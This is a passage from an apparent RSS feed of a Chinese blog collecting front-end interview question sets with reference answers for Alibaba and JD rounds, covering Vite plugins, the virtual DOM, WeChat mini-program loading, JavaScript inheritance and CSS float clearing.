&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-83c1d7c55a18"&gt;4. 最近有在看什么技术文章吗&lt;/h2&gt;
&lt;h3 id="题目要点-3"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;学习态度。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;最近我在阅读关于WebAssembly性能优化的文章，了解如何通过WebAssembly提升前端应用的运行效率。例如，我读了一篇关于使用WebAssembly进行图像处理的文章，介绍了如何将图像处理算法编译为WebAssembly模块，从而在浏览器中实现高性能的图像编辑功能。&lt;/p&gt;
&lt;p&gt;同时，我也在关注前端框架的新特性，如Vue 3的Composition API和React的Concurrent Mode。这些新技术有助于构建更高效、响应更快的用户界面。&lt;/p&gt;
&lt;p&gt;此外，我还阅读了一些关于前端安全的文章，特别是关于防止XSS攻击和CSRF攻击的最佳实践，这些知识对于构建安全的Web应用至关重要。&lt;/p&gt;
&lt;p&gt;通过这些文章，我能够不断更新自己的知识体系，保持对技术前沿的敏感度，并将所学应用到实际项目中。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-e150e0ff-0182-4410-b082-b7d9dc215616"&gt;5. canvas 引擎有什么优化渲染性能的方案&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/e150e0ff-0182-4410-b082-b7d9dc215616"&gt;canvas 有什么优化渲染性能的方案&lt;/a&gt;&lt;/p&gt;</description></item><item><title>阿里-智能产品事业部-暑期实习 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-30/round-35/</link><pubDate>Fri, 27 Jun 2025 05:57:10 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-30/round-35/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-30/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试主要考察校招生的基础内容&lt;/p&gt;
&lt;p&gt;本轮共 18 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-0583a5eb88da"&gt;1. 请介绍一下你在 [具体项目名称] 中主要做了哪些工作？&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;项目经验。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;回答参考：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;项目架构设计：参与设计项目的整体架构，选择前端技术栈。考虑到项目规模和性能需求，选择了 Vue.js 作为前端框架，Vuex 进行状态管理，Vue Router 实现单页面应用的路由管理，Vite 作为构建工具。这些技术的选择旨在提高开发效率和应用性能。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;核心模块开发：负责开发用户认证模块，实现了基于 JWT（JSON Web Token）的登录、注册和权限管理功能。通过与后端 API 的紧密协作，确保了用户数据的安全传输和存储。同时，开发了数据可视化模块，利用 ECharts 库展示复杂的业务数据，帮助用户更直观地理解和分析数据。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;性能优化：通过分析页面的性能瓶颈，实施了一系列优化措施。例如，采用代码分割技术将应用拆分成多个小块，实现按需加载；使用懒加载技术延迟加载非首屏资源；对图片资源进行压缩和格式优化，减少页面加载时间。这些优化显著提升了页面的加载速度，改善了用户体验。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;代码审查与测试：积极参与代码审查过程，遵循项目编码规范，确保代码质量。编写了大量的单元测试和集成测试用例，使用测试框架（如 Jest）进行自动化测试，确保代码的稳定性和可靠性，减少上线后的潜在问题。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-8c38cc2d315c"&gt;2. 在 [具体项目名称] 中，遇到了哪些技术难点？你是如何解决的？&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;问题解决能力。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;回答参考：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;跨浏览器兼容性：项目需要支持多个主流浏览器，包括一些旧版本的浏览器。为了解决这一问题，使用 Babel 将 ES6+ 代码转译为 ES5，确保大部分现代 JavaScript 特性能够在旧浏览器中运行。同时，引入 Polyfill 库来补充那些浏览器原生不支持的 API，例如 Promise、fetch 等。此外，使用 Autoprefixer 工具为 CSS 添加必要的浏览器前缀，确保 CSS 样式在不同浏览器中的一致性。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;性能优化：随着项目规模的扩大，页面的加载时间和交互响应时间面临着挑战。通过分析，发现主要的性能瓶颈在于大量的初始 JavaScript 包和未优化的图片资源。为解决此问题，实施了代码分割策略，将应用的代码分割成多个小块，按需加载，减少了初始加载的包大小。同时，将图片资源转换为 WebP 格式，并实现了图片的懒加载，只有在用户滚动到图片位置时才加载图片，从而显著缩短了页面的初始加载时间。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;后端 API 集成：在开发过程中，遇到了 API 响应数据格式不一致的问题，这给前端的数据处理带来了困难。为了解决这个问题，设计了一个统一的数据处理中间层，对后端返回的数据进行预处理和格式化，使其符合前端的要求。同时，与后端团队进行了深入沟通，推动他们优化 API 设计，以更好地满足前端的需求。&lt;/p&gt;</description></item><item><title>阿里-阿里云-暑期实习 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-29/round-34/</link><pubDate>Fri, 27 Jun 2025 05:49:45 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-29/round-34/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-29/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮概述：&lt;/strong&gt; 一共三轮面试，经过整理后形成该面经。&lt;/p&gt;
&lt;p&gt;主要考察了候选人的实习经历、项目经验以及对前端工具和技术的理解。问题涵盖了从Vite插件开发到模块管理等多个方面，重点测试了候选人的实际操作能力和对技术细节的掌握。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试深度考察工程化全链路能力（Vite插件开发/预构建/HMR原理）、性能优化实战（INP项目包体积↓40%/LCP时间↓50%）、跨端架构设计（JavaScript Bridge通信/兼容性治理）及模块化高级应用（单例设计/循环依赖检测）。难点聚焦于pnpm幽灵依赖治理、Vite HMR全流程解析及Node.js运行时设计思想。&lt;/p&gt;
&lt;p&gt;本轮共 32 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-8e9bf321df59"&gt;1. 请介绍你在乾象、腾讯的实习经历，包括实习期间遇到的难点和亮点。&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;实习经历, 项目背景, 技术挑战, 解决方案, 成绩, 亮点&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;可以从项目背景、具体职责、遇到的技术挑战及解决方案等方面进行阐述。同时，可以分享一些在实习中取得的成绩或亮点，比如优化效果、团队协作等。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-e9efc1766bce"&gt;2. 现场实现一个最近开发的模块/组件，例如 URL Filter。&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;设计思路, 实现过程, 单元测试, 代码示例&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;可以详细描述这个模块/组件的设计思路、实现过程以及如何进行单元测试。如果可能的话，还可以展示一些代码片段来说明关键部分。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-9a4f386ff5db"&gt;3. 在实习期间开发的 Vite 插件的功能是如何实现的？&lt;/h2&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;架构兼容性&lt;/strong&gt;：理解 Vite 插件如何复用 Rollup 钩子并扩展开发环境特有的 Server 钩子。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;钩子应用场景&lt;/strong&gt;：能够准确区分 &lt;code&gt;config&lt;/code&gt;（配置修改）、&lt;code&gt;resolveId&lt;/code&gt;/&lt;code&gt;load&lt;/code&gt;（路径解析）、&lt;code&gt;transform&lt;/code&gt;（代码改写）的应用边界。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AST 与代码转换&lt;/strong&gt;：掌握如何通过 AST 操纵实现对代码的无损增强，并维持 SourceMap 的连续性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;环境控制&lt;/strong&gt;：利用 &lt;code&gt;configureServer&lt;/code&gt; 扩展中间件，以及通过 &lt;code&gt;handleHotUpdate&lt;/code&gt; 实现精准的热更新控制。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;虚拟模块技术&lt;/strong&gt;：利用虚拟模块机制实现编译时信息的动态注入。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;Vite 插件的实现本质上是基于 Rollup 插件接口的扩展，并结合了 Vite 特有的开发服务器钩子。可以从插件系统的架构设计、生命周期钩子（Hooks）的执行时序、以及针对开发环境与生产环境的差异化处理三个维度进行回答。&lt;/p&gt;</description></item><item><title>阿里-盒马-校招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-28/round-32/</link><pubDate>Fri, 27 Jun 2025 05:48:59 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-28/round-32/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-28/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-28/round-33/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 聚焦前端基础深度：虚拟DOM性能边界（复杂DOM场景优劣）、响应式布局实现（媒体查询/弹性布局）、浏览器兼容性实战（Polyfill/Babel）、微信小程序架构设计理念。难点在于Rem计算优化策略和O(1)空间复杂度的字符串逆序算法设计。&lt;/p&gt;
&lt;p&gt;本轮共 10 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-12b75c445924"&gt;1. 自我介绍&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;个人背景、技能、经验、职业规划等。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;参考模版如下，一般3分钟以内即可。&lt;br&gt;
面试官您好！我叫[姓名]，毕业于[毕业院校]，专业是[专业名称]。我有XX段前端开发实习经验，熟练掌握HTML、CSS、JavaScript等前端技术栈，主要的技术栈是React。在XX公司实习期间，主要参与过供应链管理系统和微信小程序开发，学习了前端相关专业技术，以及熟悉了项目的整体流程，同时积累了丰富的项目经验。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-5573b31b-5f00-409c-b032-3285ac844d62"&gt;2. React 的虚拟 DOM 解决了什么问题？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/5573b31b-5f00-409c-b032-3285ac844d62"&gt;React 的虚拟 DOM 解决了什么问题？&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;跨平台能力&lt;/strong&gt;：通过对象层的抽象，实现了 UI 描述与具体渲染平台的解耦。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;开发范式转换&lt;/strong&gt;：将命令式的 DOM 操作转变为声明式的数据驱动，提升了复杂业务的可维护性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;性能兜底&lt;/strong&gt;：通过批处理和 Diff 算法，在不增加开发者负担的情况下，减少了不必要的真实 DOM 操作开销。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;研发效率&lt;/strong&gt;：让开发者专注于业务逻辑而非底层 DOM 树的增删改查，降低了出错概率。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;在探讨 React 虚拟 DOM（Virtual DOM）所解决的问题时，不能简单地将其归结为“性能更快”，这实际上是一个常见的误区。&lt;/p&gt;
&lt;p&gt;从长期的工程实践和框架演进来看，虚拟 DOM 核心解决了以下几个维度的挑战：&lt;/p&gt;
&lt;h3 id="1-解决跨平台与抽象层的问题"&gt;1. 解决跨平台与抽象层的问题&lt;/h3&gt;
&lt;p&gt;虚拟 DOM 最本质的贡献在于建立了一层&lt;strong&gt;声明式的抽象&lt;/strong&gt;。在传统的 Web 开发中，代码直接耦合在真实的 DOM 环境中。而虚拟 DOM 将复杂的 UI 转换成了一种轻量级的 JavaScript 对象结构（即 VNode）。&lt;/p&gt;
&lt;p&gt;这种抽象层使得 React 脱离了浏览器的物理限制。因为 VNode 只是普通的 JS 对象，它不仅可以被渲染为浏览器的 DOM，也可以被渲染为移动端的原生控件（React Native）、服务端字符串（SSR）甚至是 Canvas 绘制指令。它解决了 UI 描述与底层渲染引擎之间的强耦合问题，实现了“一次学习，随处编写”的愿景。&lt;/p&gt;</description></item><item><title>阿里-盒马-校招 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-28/round-33/</link><pubDate>Fri, 27 Jun 2025 05:48:59 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-28/round-33/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-28/round-32/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-28/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 深入框架原理与工程化：小程序加载流程（缓存/渲染机制）、Vue路由动态加载（Code Splitting）、全局状态管理（Vuex模块化）、生命周期资源管理（mounted/beforeDestroy）。难点在于手势识别算法（滑动速度计算）和可控动画引擎（开始/暂停/取消）。&lt;/p&gt;
&lt;p&gt;本轮共 12 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-35e4a8d7-248e-429c-b590-da73408f3d37"&gt;1. 小程序的页面加载流程是怎样的？请简要描述从用户点击小程序图标到页面显示的整个过程。&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/35e4a8d7-248e-429c-b590-da73408f3d37"&gt;小程序的页面加载流程是怎样的？请简要描述从用户点击小程序图标到页面显示的整个过程。&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;双线程并行&lt;/strong&gt;：启动过程是渲染层（UI）和逻辑层（JS）同步初始化的过程。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;离线包机制&lt;/strong&gt;：通过本地缓存和分包加载策略，极大减少了网络传输对首屏的影响。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;预加载优化&lt;/strong&gt;：微信客户端通过预热环境和提前下载包来压榨启动耗时。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;数据驱动渲染&lt;/strong&gt;：首屏显示依赖于逻辑层到渲染层的初始数据传输（setData 机制的前身）。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;小程序的加载是一个多线程协作的过程，主要可以分为&lt;strong&gt;环境准备&lt;/strong&gt;、&lt;strong&gt;代码下载&lt;/strong&gt;、&lt;strong&gt;注入运行&lt;/strong&gt;以及&lt;strong&gt;首屏渲染&lt;/strong&gt;四个阶段。&lt;/p&gt;
&lt;h3 id="1-运行环境准备准备阶段"&gt;1. 运行环境准备（准备阶段）&lt;/h3&gt;
&lt;p&gt;当用户点击小程序图标时，微信客户端会立即启动一个原生容器。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;进程启动&lt;/strong&gt;：微信会为小程序分配独立的进程或线程。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;双线程环境初始化&lt;/strong&gt;：微信会同时初始化两个运行环境，即&lt;strong&gt;逻辑层（AppService）&lt;strong&gt;和&lt;/strong&gt;渲染层（WebView）&lt;/strong&gt;。为了提速，微信通常会预先启动一个通用的空白 WebView（预加载机制），从而缩短环境搭建的时间。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="2-代码包下载与加载资源阶段"&gt;2. 代码包下载与加载（资源阶段）&lt;/h3&gt;
&lt;p&gt;在环境准备的同时，微信会根据小程序的 AppID 去服务端请求最新的代码包。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;增量更新与缓存&lt;/strong&gt;：如果本地已有缓存，则直接校验版本；若无或版本过旧，则下载加密的代码包。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;分包加载优化&lt;/strong&gt;：如果开发者配置了分包，此时只会下载“主包”内容，从而减少首次下载的数据量，提升启动速度。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="3-代码注入与逻辑初始化初始化阶段"&gt;3. 代码注入与逻辑初始化（初始化阶段）&lt;/h3&gt;
&lt;p&gt;代码包下载完成后，微信会开始解析并执行代码。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;逻辑层注入&lt;/strong&gt;：执行 &lt;code&gt;app.js&lt;/code&gt; 和各页面的 JS 逻辑。此时，小程序会触发 &lt;code&gt;App.onLaunch&lt;/code&gt; 和 &lt;code&gt;App.onShow&lt;/code&gt; 生命周期回调。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;配置解析&lt;/strong&gt;：解析 &lt;code&gt;app.json&lt;/code&gt; 和页面配置，确定全局样式、路由关系及初始页面。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="4-渲染层视图构建与首屏渲染渲染阶段"&gt;4. 渲染层视图构建与首屏渲染（渲染阶段）&lt;/h3&gt;
&lt;p&gt;这是用户肉眼感知页面出现的关键时刻。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;视图层初始化&lt;/strong&gt;：渲染层载入 &lt;code&gt;WXML&lt;/code&gt; 转换后的模板和 &lt;code&gt;WXSS&lt;/code&gt; 样式。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;初始数据传输（First Paint）&lt;/strong&gt;：逻辑层在实例化页面后，会将初始数据（Initial Data）通过微信底层提供的 &lt;code&gt;evaluateJavascript&lt;/code&gt; 方式，跨线程传递给渲染层。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;动态渲染&lt;/strong&gt;：渲染层接收到数据后，结合模板生成最终的 DOM 树，并交由浏览器引擎进行绘制。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="5-交互就绪finish-阶段"&gt;5. 交互就绪（Finish 阶段）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;生命周期触发&lt;/strong&gt;：页面初次渲染完成后，逻辑层会收到反馈，并触发页面的 &lt;code&gt;onReady&lt;/code&gt; 回调。此时，逻辑层与渲染层已经建立了稳定的双向数据绑定，用户可以开始进行交互操作。&lt;/li&gt;
&lt;/ul&gt;
&lt;/details&gt;
&lt;h2 id="question-92af3054-e90c-4c0d-a5af-2a54b19931ab"&gt;2. 小程序页面间有哪些传递数据的方法？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/92af3054-e90c-4c0d-a5af-2a54b19931ab"&gt;小程序页面间有哪些传递数据的方法？&lt;/a&gt;&lt;/p&gt;</description></item><item><title>京东-技术中台-校招 · 第 1 轮 · 一面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-27/round-30/</link><pubDate>Fri, 27 Jun 2025 05:48:05 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-27/round-30/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← 已是第一轮 · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-27/"&gt;返回本次面经&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-27/round-31/"&gt;第 1 轮&lt;/a&gt; →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试深度考察JavaScript核心原理（闭包、继承实现）、前端框架（Vue响应式机制、虚拟DOM性能、Vue vs React区别）、性能优化（高并发请求处理、HTTP/2应用）、前端安全（XSS/CSRF防御）。难点聚焦于Vue响应式系统限制的解决（如动态字段更新）、复杂布局实现（自适应流式），以及高效算法设计（O(n)去重）。&lt;/p&gt;
&lt;p&gt;本轮共 14 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-12b75c445924"&gt;1. 自我介绍&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;个人背景、能力、经验。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;我叫[姓名]，毕业于[学校]，专业是[专业]。我有[X]年的前端开发经验，熟练掌握HTML、CSS、JavaScript等前端技术，熟悉Vue.js和React框架。在项目中，我注重代码质量和用户体验，善于解决复杂的技术问题。我曾参与过多个大型项目的开发，例如[项目名称]，负责[具体工作]，通过优化代码结构和性能，提升了页面加载速度和用户体验。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-subjective-48a8fe6d93f0"&gt;2. 怎么学习javascript的？讲一下闭包，自己的使用场景&lt;/h2&gt;
&lt;h3 id="题目要点-1"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;JavaScript学习方法、闭包概念及应用。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;学习JavaScript时，我首先从基础语法入手，通过阅读经典书籍如《JavaScript高级程序设计》来系统地学习。闭包是JavaScript中的一个重要概念，它允许函数记住并访问其创建时所在的作用域链中的变量。闭包的使用场景很多，比如在事件处理中，可以使用闭包来保存事件相关的数据。例如，创建一个计数器函数，每次调用时返回当前的计数值，利用闭包可以保持计数器的状态。&lt;/p&gt;
&lt;/details&gt;
&lt;h2 id="question-21144fa1-41b7-4077-97cd-b0c6030b10e0"&gt;3. Javascript如何实现继承？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;题库原题：&lt;a href="https://fe.ecool.fun/topic/21144fa1-41b7-4077-97cd-b0c6030b10e0"&gt;Javascript如何实现继承？&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点-2"&gt;题目要点&lt;/h3&gt;
&lt;h2 id="1-原型链继承"&gt;1. 原型链继承&lt;/h2&gt;
&lt;p&gt;通过将一个构造函数的实例作为另一个构造函数的原型，实现属性和方法的继承。&lt;/p&gt;
&lt;h3 id="特点"&gt;特点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;简单易实现。&lt;/li&gt;
&lt;li&gt;缺点是父类实例的属性会被所有子类实例共享。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2-借用构造函数经典继承"&gt;2. 借用构造函数（经典继承）&lt;/h2&gt;
&lt;p&gt;通过在子类构造函数中调用父类构造函数，实现属性的继承。&lt;/p&gt;
&lt;h3 id="特点-1"&gt;特点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;避免了原型链继承共享属性的问题。&lt;/li&gt;
&lt;li&gt;但无法继承父类的原型方法。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="3-组合继承原型链借用构造函数"&gt;3. 组合继承（原型链+借用构造函数）&lt;/h2&gt;
&lt;p&gt;结合原型链继承和借用构造函数的方法，既调用父类构造函数，又将父类原型赋值给子类原型。&lt;/p&gt;
&lt;h3 id="特点-2"&gt;特点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;可以继承实例属性和原型方法。&lt;/li&gt;
&lt;li&gt;需要注意避免构造函数属性的多次调用。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="4-原型式继承"&gt;4. 原型式继承&lt;/h2&gt;
&lt;p&gt;使用一个函数来创建一个新对象，并将这个新对象的原型指向另一个对象。&lt;/p&gt;
&lt;h3 id="特点-3"&gt;特点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;适用于对象之间的属性继承，不涉及构造函数。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="5-寄生式继承"&gt;5. 寄生式继承&lt;/h2&gt;
&lt;p&gt;基于原型式继承，但添加了额外的包装函数，以提供更好的控制和灵活性。&lt;/p&gt;
&lt;h3 id="特点-4"&gt;特点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;通过创建对象的副本来实现继承，避免修改原始对象。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="6-es6-类继承"&gt;6. ES6 类继承&lt;/h2&gt;
&lt;p&gt;使用&lt;code&gt;class&lt;/code&gt;关键字和&lt;code&gt;extends&lt;/code&gt;关键字实现继承。&lt;/p&gt;
&lt;h3 id="特点-5"&gt;特点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;语法简洁，易于理解。&lt;/li&gt;
&lt;li&gt;底层仍然是基于原型链实现。&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;h2 id="一是什么"&gt;一、是什么&lt;/h2&gt;
&lt;p&gt;继承（inheritance）是面向对象软件技术当中的一个概念。&lt;/p&gt;
&lt;p&gt;如果一个类别B“继承自”另一个类别A，就把这个B称为“A的子类”，而把A称为“B的父类别”也可以称“A是B的超类”&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;继承的优点&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;继承可以使得子类具有父类别的各种属性和方法，而不需要再次编写相同的代码&lt;/p&gt;</description></item><item><title>京东-技术中台-校招 · 第 1 轮 · 二面</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-27/round-31/</link><pubDate>Fri, 27 Jun 2025 05:48:05 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-27/round-31/</guid><description>&lt;blockquote&gt;
&lt;p&gt;← &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-27/round-30/"&gt;第 1 轮&lt;/a&gt; · &lt;a href="https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-27/"&gt;返回本次面经&lt;/a&gt; · 已是最后一轮 →&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;本轮要点：&lt;/strong&gt; 本次面试聚焦CSS布局核心问题（浮动清除、BFC机制）、高频JS手写能力（防抖函数）、工程化实践（TS迁移痛点、Vue3升级策略）、深度性能优化（缓存协同更新、Tree Shaking原理）。难点在于浮动导致的布局塌陷解决方案、CDN与本地缓存协同策略设计，以及复杂框架迁移的兼容性处理。&lt;/p&gt;
&lt;p&gt;本轮共 11 道题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-subjective-1bcbaffba536"&gt;1. 浮动元素导致的布局错乱应该如何解决？&lt;/h2&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;CSS浮动布局及解决方案。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;浮动元素会导致其父元素高度塌陷，从而影响布局。解决方法有：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1. 清除浮动：在浮动元素后面添加一个空的`div`，设置`clear: both`。
2. 使用伪元素清除浮动：在父元素上使用`::after`伪元素，设置`clear: both`。
&lt;/code&gt;&lt;/pre&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;parent&lt;/span&gt;::&lt;span style="color:#a6e22e"&gt;after&lt;/span&gt; {
